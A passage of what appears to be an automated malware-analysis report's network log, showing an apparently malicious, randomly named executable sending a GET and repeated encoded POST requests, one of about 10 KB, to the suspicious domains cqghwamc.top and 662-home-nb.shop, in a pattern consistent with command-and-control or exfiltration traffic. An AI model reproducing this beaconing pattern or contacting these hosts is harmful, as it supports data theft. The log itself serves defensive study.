Oct 19, 2024 12:58:20.030311108 CEST	165	IN	Data Raw: 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be Data Ascii: r"><fieldset> <h2>404 - </h2> <h3></h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50027	221.128.225.57	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:21.626403093 CEST	595	OUT	GET /90ie/?2BWDG=AFgPY5yU7pWSzToyhb8ap/LyT/DZ/ZjK5Re3S38zcWWIWncLwX1SLyCTcQH6faMmzCRwYrf9WSeYlPfjK7mc/MKG5u8f2O6ThoCO5oN+7y0XqZ+4yAUZ7Sk=&wfm=G6oTo8vx HTTP/1.1 Host: www.cqghwamc.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Oct 19, 2024 12:58:22.594252110 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Set-Cookie: _d_id=a674d5211e16a089760985ef782ea8; Path=/; HttpOnly; SameSite=Lax Date: Sat, 19 Oct 2024 10:58:21 GMT Connection: close Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-containe
Oct 19, 2024 12:58:22.594269991 CEST	165	IN	Data Raw: 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be Data Ascii: r"><fieldset> <h2>404 - </h2> <h3></h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50028	199.59.243.227	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:27.886468887 CEST	875	OUT	POST /axh7/ HTTP/1.1 Host: www.662-home-nb.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 202 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.662-home-nb.shop Referer: http://www.662-home-nb.shop/axh7/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 4c 58 69 79 43 65 38 52 61 31 61 34 34 4d 71 6c 48 51 4b 2b 32 73 6d 69 53 51 66 4b 5a 48 38 57 33 7a 55 68 34 31 37 6e 6b 51 54 38 71 64 78 75 4c 2b 4b 57 4d 6c 4c 59 6c 39 57 4b 6f 2b 61 54 51 4c 66 76 2f 49 43 63 33 48 49 4a 5a 33 32 64 56 43 31 49 2b 65 46 4d 4f 50 6f 4c 66 2b 4a 71 64 43 36 6f 7a 6d 4d 68 4d 38 2f 6e 70 72 78 62 47 39 78 64 65 42 6d 6f 4a 38 34 72 30 51 48 47 51 6a 37 61 58 69 36 70 69 73 6f 64 56 4e 77 6a 4d 4e 4b 42 45 66 45 4f 46 65 54 31 71 68 67 37 54 38 2f 5a 48 63 6d 67 67 50 39 6e 55 4e 45 52 74 37 44 42 6c 6a 53 50 6b 72 50 38 44 50 32 34 46 51 3d 3d Data Ascii: 2BWDG=LXiyCe8Ra1a44MqlHQK+2smiSQfKZH8W3zUh417nkQT8qdxuL+KWMlLYl9WKo+aTQLfv/ICc3HIJZ32dVC1I+eFMOPoLf+JqdC6ozmMhM8/nprxbG9xdeBmoJ84r0QHGQj7aXi6pisodVNwjMNKBEfEOFeT1qhg7T8/ZHcmggP9nUNERt7DBljSPkrP8DP24FQ==
Oct 19, 2024 12:58:29.004385948 CEST	1236	IN	HTTP/1.1 200 OK date: Sat, 19 Oct 2024 10:58:27 GMT content-type: text/html; charset=utf-8 content-length: 1134 x-request-id: 2041ebe1-f746-42f8-91b8-df80bd377703 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_cvx2N/2yCOQvV3MRxHe8Pw1R4aPS50GWSORkmYLZkLoFVzEtZyP6LZuXb1qdVmZKd7bI8vQ6ssytTTlgN+cASg== set-cookie: parking_session=2041ebe1-f746-42f8-91b8-df80bd377703; expires=Sat, 19 Oct 2024 11:13:28 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 63 76 78 32 4e 2f 32 79 43 4f 51 76 56 33 4d 52 78 48 65 38 50 77 31 52 34 61 50 53 35 30 47 57 53 4f 52 6b 6d 59 4c 5a 6b 4c 6f 46 56 7a 45 74 5a 79 50 36 4c 5a 75 58 62 31 71 64 56 6d 5a 4b 64 37 62 49 38 76 51 36 73 73 79 74 54 54 6c 67 4e 2b 63 41 53 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_cvx2N/2yCOQvV3MRxHe8Pw1R4aPS50GWSORkmYLZkLoFVzEtZyP6LZuXb1qdVmZKd7bI8vQ6ssytTTlgN+cASg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 19, 2024 12:58:29.004410028 CEST	587	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMjA0MWViZTEtZjc0Ni00MmY4LTkxYjgtZGY4MGJkMzc3NzAzIiwicGFnZV90aW1lIjoxNzI5MzM1NT
Oct 19, 2024 12:58:29.004755020 CEST	1236	IN	HTTP/1.1 200 OK date: Sat, 19 Oct 2024 10:58:27 GMT content-type: text/html; charset=utf-8 content-length: 1134 x-request-id: 2041ebe1-f746-42f8-91b8-df80bd377703 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_cvx2N/2yCOQvV3MRxHe8Pw1R4aPS50GWSORkmYLZkLoFVzEtZyP6LZuXb1qdVmZKd7bI8vQ6ssytTTlgN+cASg== set-cookie: parking_session=2041ebe1-f746-42f8-91b8-df80bd377703; expires=Sat, 19 Oct 2024 11:13:28 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 63 76 78 32 4e 2f 32 79 43 4f 51 76 56 33 4d 52 78 48 65 38 50 77 31 52 34 61 50 53 35 30 47 57 53 4f 52 6b 6d 59 4c 5a 6b 4c 6f 46 56 7a 45 74 5a 79 50 36 4c 5a 75 58 62 31 71 64 56 6d 5a 4b 64 37 62 49 38 76 51 36 73 73 79 74 54 54 6c 67 4e 2b 63 41 53 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_cvx2N/2yCOQvV3MRxHe8Pw1R4aPS50GWSORkmYLZkLoFVzEtZyP6LZuXb1qdVmZKd7bI8vQ6ssytTTlgN+cASg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50029	199.59.243.227	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:30.428373098 CEST	895	OUT	POST /axh7/ HTTP/1.1 Host: www.662-home-nb.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 222 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.662-home-nb.shop Referer: http://www.662-home-nb.shop/axh7/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 4c 58 69 79 43 65 38 52 61 31 61 34 2b 73 36 6c 4c 54 69 2b 2b 73 6d 68 50 67 66 4b 54 6e 38 53 33 7a 51 68 34 30 76 33 78 7a 33 38 71 34 56 75 5a 76 4b 57 4c 6c 4c 59 75 64 57 50 6c 65 61 6d 51 4b 6a 4a 2f 4a 2b 63 33 48 63 4a 5a 32 47 64 56 56 42 58 2f 4f 46 5a 42 76 6f 46 43 75 4a 71 64 43 36 6f 7a 6e 38 48 4d 34 54 6e 70 61 68 62 48 63 78 61 43 52 6d 76 5a 73 34 72 69 67 48 4b 51 6a 37 73 58 68 2b 44 69 6f 59 64 56 49 55 6a 4d 5a 65 43 4f 66 45 58 50 2b 53 65 36 30 4e 46 53 4f 62 49 48 74 7a 41 6c 2f 67 48 52 4c 56 4c 38 4b 69 57 33 6a 32 38 35 73 47 49 4f 4d 4c 78 65 55 45 71 79 51 51 5a 49 57 74 5a 49 31 6c 46 2f 32 32 61 43 54 51 3d Data Ascii: 2BWDG=LXiyCe8Ra1a4+s6lLTi++smhPgfKTn8S3zQh40v3xz38q4VuZvKWLlLYudWPleamQKjJ/J+c3HcJZ2GdVVBX/OFZBvoFCuJqdC6ozn8HM4TnpahbHcxaCRmvZs4rigHKQj7sXh+DioYdVIUjMZeCOfEXP+Se60NFSObIHtzAl/gHRLVL8KiW3j285sGIOMLxeUEqyQQZIWtZI1lF/22aCTQ=
Oct 19, 2024 12:58:31.054749966 CEST	1236	IN	HTTP/1.1 200 OK date: Sat, 19 Oct 2024 10:58:30 GMT content-type: text/html; charset=utf-8 content-length: 1134 x-request-id: 999f9fc2-6b10-453b-9dfa-c4938ce814af cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_cvx2N/2yCOQvV3MRxHe8Pw1R4aPS50GWSORkmYLZkLoFVzEtZyP6LZuXb1qdVmZKd7bI8vQ6ssytTTlgN+cASg== set-cookie: parking_session=999f9fc2-6b10-453b-9dfa-c4938ce814af; expires=Sat, 19 Oct 2024 11:13:30 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 63 76 78 32 4e 2f 32 79 43 4f 51 76 56 33 4d 52 78 48 65 38 50 77 31 52 34 61 50 53 35 30 47 57 53 4f 52 6b 6d 59 4c 5a 6b 4c 6f 46 56 7a 45 74 5a 79 50 36 4c 5a 75 58 62 31 71 64 56 6d 5a 4b 64 37 62 49 38 76 51 36 73 73 79 74 54 54 6c 67 4e 2b 63 41 53 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_cvx2N/2yCOQvV3MRxHe8Pw1R4aPS50GWSORkmYLZkLoFVzEtZyP6LZuXb1qdVmZKd7bI8vQ6ssytTTlgN+cASg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 19, 2024 12:58:31.054819107 CEST	587	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOTk5ZjlmYzItNmIxMC00NTNiLTlkZmEtYzQ5MzhjZTgxNGFmIiwicGFnZV90aW1lIjoxNzI5MzM1NT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50030	199.59.243.227	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:32.979406118 CEST	10977	OUT	POST /axh7/ HTTP/1.1 Host: www.662-home-nb.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 10302 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.662-home-nb.shop Referer: http://www.662-home-nb.shop/axh7/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 4c 58 69 79 43 65 38 52 61 31 61 34 2b 73 36 6c 4c 54 69 2b 2b 73 6d 68 50 67 66 4b 54 6e 38 53 33 7a 51 68 34 30 76 33 78 7a 2f 38 71 4b 64 75 4c 63 53 57 4b 6c 4c 59 79 4e 57 4f 6c 65 61 2f 51 4c 4c 4e 2f 4a 7a 68 33 45 6b 4a 4c 45 69 64 42 33 70 58 78 4f 46 5a 5a 66 6f 45 66 2b 49 71 64 44 4b 73 7a 6e 4d 48 4d 34 54 6e 70 5a 70 62 41 4e 78 61 41 52 6d 6f 4a 38 34 6e 30 51 48 6d 51 69 65 5a 58 67 4c 32 6a 5a 6b 64 56 6f 6b 6a 50 71 6d 43 54 76 45 56 49 2b 53 47 36 30 4a 67 53 4f 47 6b 48 74 47 58 6c 39 38 48 54 65 30 4e 6e 4c 57 33 75 69 47 66 75 63 76 6a 57 50 76 6e 59 47 73 70 31 6a 63 37 51 48 31 6d 4b 79 77 53 76 33 2b 4f 52 54 36 71 52 49 45 2f 4c 4f 53 31 34 42 6b 34 4f 31 33 39 5a 72 32 4c 45 39 59 66 68 4f 35 6c 44 56 33 48 6d 55 50 46 44 37 57 59 38 37 58 7a 6b 78 73 79 4e 57 31 65 67 38 2f 75 2f 34 57 59 73 69 33 62 76 62 68 59 53 72 47 6d 4d 2b 65 30 4b 69 64 68 50 66 32 69 58 41 6e 79 32 64 69 36 5a 6e 36 6a 6b 77 49 49 7a 35 72 55 35 34 6b 42 34 63 2f 64 50 4a 39 31 [TRUNCATED] Data Ascii: 2BWDG=LXiyCe8Ra1a4+s6lLTi++smhPgfKTn8S3zQh40v3xz/8qKduLcSWKlLYyNWOlea/QLLN/Jzh3EkJLEidB3pXxOFZZfoEf+IqdDKsznMHM4TnpZpbANxaARmoJ84n0QHmQieZXgL2jZkdVokjPqmCTvEVI+SG60JgSOGkHtGXl98HTe0NnLW3uiGfucvjWPvnYGsp1jc7QH1mKywSv3+ORT6qRIE/LOS14Bk4O139Zr2LE9YfhO5lDV3HmUPFD7WY87XzkxsyNW1eg8/u/4WYsi3bvbhYSrGmM+e0KidhPf2iXAny2di6Zn6jkwIIz5rU54kB4c/dPJ91nnzHcYlSoFVGzM3jVbVKW6JvoWPlHwYAPBJlJwwhRGY/KRHw5+5o7//zAKzCMkdiPthIy+I+HbRNh+4RG3+HC46wasKtLgjIURizNu5NNB4fz8xcHkkPvzTnCYp1rMY1Dq9Tij9taU6Iq0ZL5doTJQS7pdGycmRJKMTOS83dNfaBgUHGAEUMiguAdAZTeziu2hd4zZQ0FZefI7m/pbrga8Vgz+4q9jPYPB8S2DBCFAcz0ygSoWrXIm73uiSKpOtphmXr4zOLWhjwsRNVV0YjBCNec6rmq0B0rZKZYOakFzXGrXxCjZGLAvUoAwlcCe9WtnMaAG7cgy7+lu1rYdYAeXr2ezpGrk64cI1gW7JccyqH1iER7hoXroZp8WqLY7rQGJNMl25WST/iN1aY7ZtRKIPzSHk6SJEikjWwJFT4hmYqSSBFawC/BKcSkw6yI85L7jUMqWh9wtOwWFXu/7XPXLdkbwDN6BKNJQfKYAUn7+OAQ1sNPyOJEVFzL7KY3eG1x6o+hP0V2nXKy677zkVdsiOo5m57cHCoAvLH0TZ+65a3DtrqOHe8U99XJxuFteDD7gGb7Y/X98iggLHugIvNe8JWp3zrVR7nRy4ukAcqsFyTMeSnIJSMjbho1ZXAQ+DHSmpn+H83Yunamoy/r8A1IDNDr70TVDDLN0 [TRUNCATED]
Oct 19, 2024 12:58:33.656591892 CEST	1236	IN	HTTP/1.1 200 OK date: Sat, 19 Oct 2024 10:58:33 GMT content-type: text/html; charset=utf-8 content-length: 1134 x-request-id: a6b38ced-5ce2-4ec3-97a2-4b5d73484a00 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_cvx2N/2yCOQvV3MRxHe8Pw1R4aPS50GWSORkmYLZkLoFVzEtZyP6LZuXb1qdVmZKd7bI8vQ6ssytTTlgN+cASg== set-cookie: parking_session=a6b38ced-5ce2-4ec3-97a2-4b5d73484a00; expires=Sat, 19 Oct 2024 11:13:33 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 63 76 78 32 4e 2f 32 79 43 4f 51 76 56 33 4d 52 78 48 65 38 50 77 31 52 34 61 50 53 35 30 47 57 53 4f 52 6b 6d 59 4c 5a 6b 4c 6f 46 56 7a 45 74 5a 79 50 36 4c 5a 75 58 62 31 71 64 56 6d 5a 4b 64 37 62 49 38 76 51 36 73 73 79 74 54 54 6c 67 4e 2b 63 41 53 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_cvx2N/2yCOQvV3MRxHe8Pw1R4aPS50GWSORkmYLZkLoFVzEtZyP6LZuXb1qdVmZKd7bI8vQ6ssytTTlgN+cASg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
